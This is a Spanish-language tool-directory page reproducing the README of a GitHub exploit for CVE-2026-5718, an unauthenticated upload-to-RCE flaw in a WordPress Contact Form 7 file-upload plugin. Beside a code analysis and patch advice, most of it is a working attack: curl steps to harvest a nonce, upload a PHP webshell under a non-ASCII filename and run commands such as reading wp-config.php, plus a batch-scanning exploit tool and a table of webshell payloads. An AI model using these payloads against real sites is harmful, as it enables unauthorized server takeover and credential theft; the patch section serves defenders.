Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-5718 — CVE-2026-5718: Subida de archivos no autenticada a RCE en el plugin DnD Upload CF7 | Kitploit
Herramientas/GitHubGitHub/xxconi/cve-2026-5718
Generación de PayloadsAnálisis de VulnerabilidadesAnálisis de CódigoExplotaciónExplotación de Aplicaciones WebSeguridad WebPruebas de PenetraciónDesarrollo de Payloads
GitHubxxconi/cve-2026-5718

CVE-2026-5718

CVE-2026-5718: Subida de archivos no autenticada a RCE en el plugin DnD Upload CF7

Ver Repositorio
1hace 3 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-5718

CVE-2026-5718: Subida de archivos no autenticada a RCE en el plugin DnD Upload CF7

CVE-2026-5718 — Escáner de subida de archivos DnD CF7 a RCE

Plugin: Drag and Drop Multiple File Upload for Contact Form 7 Slug del plugin: drag-and-drop-multiple-file-upload-contact-form-7 ID CVE: CVE-2026-5718 Puntuación CVSS: 8.1 (Alta) Vector CVSS: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H Tipo de vulnerabilidad: Subida arbitraria de archivos no autenticada → Ejecución remota de código Versiones afectadas: <= 1.3.9.6 Versión parcheada: 1.3.9.7 Fecha de publicación: 17 de abril de 2026 Investigador: Leonid Semenenko (lsemenenko) — Wordfence


📌 Acerca de la vulnerabilidad

En el plugin Drag and Drop Multiple File Upload for Contact Form 7, dos errores lógicos independientes se combinan para permitir que atacantes no autenticados suban un webshell PHP.

  1. Destrucción de la lista negra: Una configuración personalizada de lista negra la lista predeterminada de extensiones peligrosas, en lugar de combinarse. ya no está bloqueado.

reemplaza completamente
php
  • Bypass de caracteres no ASCII: La presencia de caracteres no ASCII en el nombre del archivo impide que se llame a la función wpcf7_antiscript_file_name(). La extensión .php se conserva y el archivo se escribe en el disco.


  • 🔍 Resumen de la vulnerabilidad

    CampoValor
    Nombre del pluginDrag and Drop Multiple File Upload for CF7
    ID CVECVE-2026-5718
    Puntuación CVSS8.1 (Alta)
    Tipo de vulnerabilidadSubida arbitraria de archivos no autenticada
    Versión afectada<= 1.3.9.6
    Versión parcheada1.3.9.7
    Requisito previoConfiguración personalizada blacklist-types en un formulario CF7

    ⚙️ Análisis técnico

    Vulnerabilidad 1 — Nonce público (línea 62)

    root@kitploit:~
    // inc/dnd-upload-cf7.php — líneas 62–71
    function dnd_wpcf7_nonce_check() {
        // Única protección: comprobación de 'curl' en User-Agent — fácil de eludir
        if ( strpos( $_SERVER['HTTP_USER_AGENT'], 'curl' ) !== false ) {
            wp_send_json_error('Request blocked: cURL access is forbidden.');
        }
    
        if( ! check_ajax_referer( 'dnd-cf7-security-nonce', false, false ) ){
            // Nonce inválido → DEVUELVE UN NUEVO NONCE
            wp_send_json_success( wp_create_nonce( "dnd-cf7-security-nonce" ) );
        }
    }
    

    La acción wp_ajax_nopriv__wpcf7_check_nonce es pública. Cuando se envía un nonce inválido, se entrega un nuevo nonce de forma gratuita. Con un User-Agent de Mozilla se elude la comprobación de curl.


    Vulnerabilidad 2 — Reemplazo en lugar de combinación de lista negra (línea 883)

    root@kitploit:~
    // inc/dnd-upload-cf7.php — líneas 883–886
    $blacklist_types = dnd_cf7_not_allowed_ext();
    // ↑ ~80 extensiones peligrosas: php, php3, php4, pht, phtml, phar...
    
    if ( isset( $blacklist["$cf7_upload_name"] ) && ! empty( $blacklist["$cf7_upload_name"] ) ) {
        $blacklist_types = explode( '|', $blacklist["$cf7_upload_name"] );
        // ↑ ASIGNACIÓN (=) — NO COMBINACIÓN
        // Lista personalizada: solo ['zip']
        // 'php' ya NO está en la lista → se acepta
    }
    

    Configuración del tag de formulario que lo desencadena:

    root@kitploit:~
    [mfile upload-file filetypes="*" blacklist-types:zip]
    

    El administrador quiere bloquear ZIP → el plugin elimina toda la lista de denegación predeterminada. Ahora se aceptan todas las extensiones peligrosas, incluido php.

    Además, la lista hardcodeada para filetypes="*" también está incompleta:

    root@kitploit:~
    // línea 927 — faltan 'php', 'php3', 'php4', 'pht', 'phtml'
    $not_allowed_ext = array( 'phar', 'svg', 'php5', 'php7', 'php8' );
    

    Vulnerabilidad 3 — Bypass de caracteres no ASCII (línea 970)

    root@kitploit:~
    // inc/dnd-upload-cf7.php — líneas 969–972
    $ascii_name = dnd_cf7_remove_icons( $filename );
    
    if ( dnd_cf7_check_ascii( $ascii_name ) ) {
        // Solo se llama para nombres de archivo puramente ASCII
        $filename = wpcf7_antiscript_file_name( $ascii_name );
        // ↑ convertiría shell.php en shell.php.txt — pero se omite
    }
    // Si hay caracteres no ASCII, este bloque SE OMITE
    // $filename = "shellシ.php" → la extensión .php se conserva
    
    root@kitploit:~
    // dnd_cf7_check_ascii() — líneas 1029–1041
    function dnd_cf7_check_ascii( $string ) {
        $string = sanitize_file_name( $string );
        // ↑ Solo cambia una copia local, no afecta al $filename externo
        if ( mb_check_encoding( $string, 'ASCII' ) ) {
            return true;
        }
        return false;  // Carácter no ASCII → false → se omite antiscript
    }
    

    🔴 Cadena de ataque completa

    root@kitploit:~
    ┌─────────────────────────────────────────────────────────────┐
    │  POST /wp-admin/admin-ajax.php?action=_wpcf7_check_nonce   │
    │  User-Agent: Mozilla/5.0  (no curl)                        │
    │       │                                                     │
    │       ▼                                                     │
    │  {"success":true,"data":"abc123def456"}                     │
    │  → Nonce obtenido gratuitamente                             │
    └──────────────────────────┬──────────────────────────────────┘
                               │
    ┌──────────────────────────▼──────────────────────────────────┐
    │  POST /wp-admin/admin-ajax.php?action=dnd_codedropz_upload  │
    │  security=abc123def456                                      │
    │  upload-file=shellシ.php (Content-Type: application/x-php) │
    │       │                                                     │
    │       ├── Nonce válido ✓                                    │
    │       ├── blacklist=['zip'] → 'php' no bloqueado ✓          │
    │       ├── dnd_cf7_check_ascii("shellシ.php") = false        │
    │       ├── wpcf7_antiscript_file_name() OMITIDO ✓            │
    │       └── move_uploaded_file("shellシ.php") → Escrito a disco│
    └──────────────────────────┬──────────────────────────────────┘
                               │
    ┌──────────────────────────▼──────────────────────────────────┐
    │  GET /wp-content/uploads/wp_dndcf7_uploads/                 │
    │      wpcf7-files/<uuid>/shell%E3%82%B7.php?cmd=id          │
    │       │                                                     │
    │       ▼                                                     │
    │  uid=33(www-data) gid=33(www-data) groups=33(www-data)     │
    │  → RCE no autenticado ✓                                     │
    └─────────────────────────────────────────────────────────────┘
    

    🧪 Prueba de concepto (manual)

    ⚠️ Descargo de responsabilidad: Este PoC se proporciona únicamente con fines educativos y de investigación defensiva. Úselo solo en sistemas que posea o sobre los que tenga autorización explícita por escrito para realizar pruebas.

    Requisitos previos:

    • Plugin instalado y activo (versión <= 1.3.9.6)
    • Formulario CF7 con un campo [mfile] que contenga blacklist-types:
      root@kitploit:~
      [mfile upload-file filetypes="*" blacklist-types:zip]
      

    Paso 1 — Obtener el nonce

    root@kitploit:~
    TARGET="https://target.example.com"
    
    NONCE=$(curl -s -X POST \
      "$TARGET/wp-admin/admin-ajax.php" \
      -H "User-Agent: Mozilla/5.0 (X11; Linux x86_64)" \
      --data "action=_wpcf7_check_nonce" \
      | python3 -c "import sys,json; print(json.load(sys.stdin)['data'])")
    
    echo "Nonce: $NONCE"
    

    Respuesta esperada:

    root@kitploit:~
    {"success": true, "data": "abc123def456"}
    

    Paso 2 — Crear webshell con nombre de archivo no ASCII

    root@kitploit:~
    # 'シ' (U+30B7 Katakana) → dnd_cf7_check_ascii() = false
    SHELL_FILENAME="shellシ.php"
    echo '<?php system($_GET["cmd"]); ?>' > "/tmp/${SHELL_FILENAME}"
    

    Paso 3 — Subir el shell

    root@kitploit:~
    FORM_ID=1
    FIELD_NAME="upload-file"
    SESSION_FOLDER=$(uuidgen | tr '[:upper:]' '[:lower:]' | tr -d '-')
    
    curl -s -X POST "$TARGET/wp-admin/admin-ajax.php" \
      -H "User-Agent: Mozilla/5.0 (X11; Linux x86_64)" \
      -F "action=dnd_codedropz_upload" \
      -F "security=${NONCE}" \
      -F "form_id=${FORM_ID}" \
      -F "upload_name=${FIELD_NAME}" \
      -F "upload_folder=${SESSION_FOLDER}" \
      -F "upload-file=@/tmp/${SHELL_FILENAME};type=application/x-php"
    

    Respuesta esperada:

    root@kitploit:~
    {
      "success": true,
      "data": {
        "path": "<session-folder-uuid>",
        "file": "shellシ.php"
      }
    }
    

    Paso 4 — Construir la URL del shell

    root@kitploit:~
    UPLOAD_PATH="<path-from-response>"
    SHELL_URL="$TARGET/wp-content/uploads/wp_dndcf7_uploads/wpcf7-files/${UPLOAD_PATH}/shell%E3%82%B7.php"
    echo "Shell URL: $SHELL_URL"
    

    Paso 5 — Disparar RCE

    root@kitploit:~
    # comando id
    curl -s "${SHELL_URL}?cmd=id"
    # uid=33(www-data) gid=33(www-data) groups=33(www-data)
    
    # leer wp-config.php
    curl -s "${SHELL_URL}?cmd=cat+/var/www/html/wp-config.php"
    

    🛠️ Escáner automático

    Instalación

    root@kitploit:~
    git clone https://github.com/kullanici/cve-2026-5718-scanner
    cd cve-2026-5718-scanner
    pip install -r requirements.txt
    

    requirements.txt

    root@kitploit:~
    requests
    

    🚀 Uso

    Objetivo único — Totalmente automático

    root@kitploit:~
    python dnd_cf7_upload.py -u http://hedef.com
    

    ID de formulario y nombre de campo manuales

    root@kitploit:~
    python dnd_cf7_upload.py -u http://hedef.com \
      --form-id 1 --field-name upload-file
    

    Shell completo + comando personalizado

    root@kitploit:~
    python dnd_cf7_upload.py -u http://hedef.com \
      --shell-type full --verify-cmd "whoami"
    

    Escaneo por lotes

    root@kitploit:~
    python dnd_cf7_upload.py -l targets.txt -t 20 -o sonuclar.txt
    

    Con proxy (Burp Suite)

    root@kitploit:~
    python dnd_cf7_upload.py -u http://hedef.com \
      --proxy http://127.0.0.1:8080
    

    ⚙️ Parámetros

    ParámetroCortoDescripciónPredeterminado
    --url-uURL del objetivo único—
    --list-lArchivo con lista de objetivos—
    --threads-tNúmero de hilos10
    --output-oArchivo de salidarce_results.txt
    --form-id—ID del formulario CF7detección automática
    --field-name—Nombre del campo mfileupload-file
    --shell-name—Nombre del archivo shellshell
    --shell-type—Tipo de shellsystem
    --verify-cmd—Comando de verificación RCEid
    --proxy—URL del proxy—
    --timeout—Timeout de solicitud (seg)10
    --force—Continuar aunque falle la detección del pluginFalse

    💀 Tipos de shell

    TipoPayloadDescripción
    system<?php system($_GET["cmd"]); ?>Comando de sistema básico
    passthru<?php passthru($_GET["cmd"]); ?>Salida sin procesar
    exec<?php echo exec($_GET["cmd"]); ?>Ejecución silenciosa
    assert<?php assert($_POST["cmd"]); ?>Evaluación con POST
    b64<?php eval(base64_decode($_POST["cmd"])); ?>Ofuscación Base64
    fullshell_exec + system + exec fallbackCobertura completa

    🔤 Conjunto de caracteres no ASCII

    El escáner prueba los siguientes caracteres en orden:

    CarácterUnicodeDescripción
    シU+30B7Katakana Si (usado en el PoC)
    жU+0436Cirílico
    ñU+00F1Latino Extendido
    中U+4E2DCJK
    αU+03B1Griego
    ßU+00DFAlemán

    📂 Ubicación de la subida del shell

    root@kitploit:~
    Raíz de WordPress/
    └── wp-content/
        └── uploads/
            └── wp_dndcf7_uploads/
                └── wpcf7-files/
                    └── <session-uuid>/
                        └── shellシ.php   ← Shell aquí
    

    ⚠️ Nota: El plugin limpia los archivos después de 1 hora de forma predeterminada. El shell es accesible durante ese período.


    📊 Estados de salida del escáner

    EstadoDescripción
    ★ RCE OKShell subido + comando ejecutado
    ★ SHELL ALIVEShell accesible, respuesta diferente
    ~ EXEC_DISABLEDShell existe, exec() deshabilitado
    ~ HTACCESSShell subido pero bloqueado por .htaccess
    ? UPLOADEDSubido pero URL no encontrada
    - UPL_FAILSubida fallida (parcheado/sin configuración)
    ~ NO_NONCENo se pudo obtener el nonce
    - NO_PLUGINPlugin no instalado
    ~ UNREACHObjetivo inalcanzable

    🖥️ Ejemplo de salida del escáner

    root@kitploit:~
    [*] Objetivo    : http://hedef.com
    [*] ID Form     : detección automática
    [*] Tipo Shell  : system
    [*] CMD Verif   : id
    
    [→] http://hedef.com  Paso 1/5: Obteniendo nonce...
    [→] http://hedef.com  Paso 2/5: Detectando formulario CF7...
    [→] http://hedef.com  Paso 3/5: Subiendo shell (bypass no ASCII)...
    [→] http://hedef.com  Paso 4/5: Construyendo URL del shell...
    [→] http://hedef.com  Paso 5/5: Verificando RCE...
    
    ═════════════════════════════════════════════════════════════════
    [★ RCE OK    ] http://hedef.com
      Versión     : 1.3.9.6
      Nonce       : abc123def4  (fuente: ajax_endpoint)
      No-ASCII    : シ
      Shell URL   : http://hedef.com/wp-content/uploads/wp_dndcf7_uploads/
                    wpcf7-files/a1b2c3d4e5f6/shell%E3%82%B7.php
      Salida RCE  : uid=33(www-data) gid=33(www-data) groups=33(www-data)
    ═════════════════════════════════════════════════════════════════
    
    [+] Guardado → rce_results.txt
    

    🛡️ Defensa / Parche

    MedidaImplementación
    Actualización del pluginActualizar a la versión 1.3.9.7+
    Combinación de listas negrasUsar array_merge() en lugar de =
    Antiscript incondicionalwpcf7_antiscript_file_name() debe llamarse siempre
    Protección de nonceEl endpoint del nonce debe cerrarse al acceso público
    .htaccessBloquear la ejecución de PHP en el directorio de subidas

    Combinación segura de listas negras:

    root@kitploit:~
    // Inseguro (actual — 1.3.9.6)
    $blacklist_types = explode( '|', $blacklist["$cf7_upload_name"] );
    
    // Seguro (recomendado — 1.3.9.7+)
    $blacklist_types = array_merge(
        dnd_cf7_not_allowed_ext(),
        explode( '|', $blacklist["$cf7_upload_name"] )
    );
    

    Antiscript incondicional:

    root@kitploit:~
    // Inseguro (actual)
    if ( dnd_cf7_check_ascii( $ascii_name ) ) {
        $filename = wpcf7_antiscript_file_name( $ascii_name );
    }
    
    // Seguro (recomendado)
    $filename = wpcf7_antiscript_file_name( $filename );  // llamar siempre
    

    .htaccess del directorio de subidas:

    root@kitploit:~
    <FilesMatch "\.php\d?$">
        Deny from all
    </FilesMatch>
    Options -ExecCGI
    AddType text/plain .php .php5 .phtml .phar
    

    📁 Estructura de archivos

    root@kitploit:~
    cve-2026-5718-scanner/
    ├── dnd_cf7_upload.py   # Escáner principal
    ├── requirements.txt    # Dependencias
    └── README.md           # Este archivo
    

    ⚠️ Aviso legal

    Esta herramienta y PoC están preparados únicamente para su uso en sistemas autorizados, con fines educativos y dentro del contexto de pruebas de penetración. Su uso en sistemas no autorizados constituye un delito según el Código Penal Turco (artículos 243-245) y las leyes internacionales de delitos cibernéticos. El desarrollador no acepta ninguna responsabilidad legal derivada del mal uso de la herramienta.


    📄 Licencia

    Licencia MIT — Solo para fines educativos y de investigación.


    🔗 Referencias

    • Wordfence Advisory
    • Directorio de plugins de WordPress
    • Calculadora CVSS 3.1
    • CWE-434: Subida sin restricciones de archivos con tipo peligroso
    • Caracteres no ASCII Unicode
    Descargar herramienta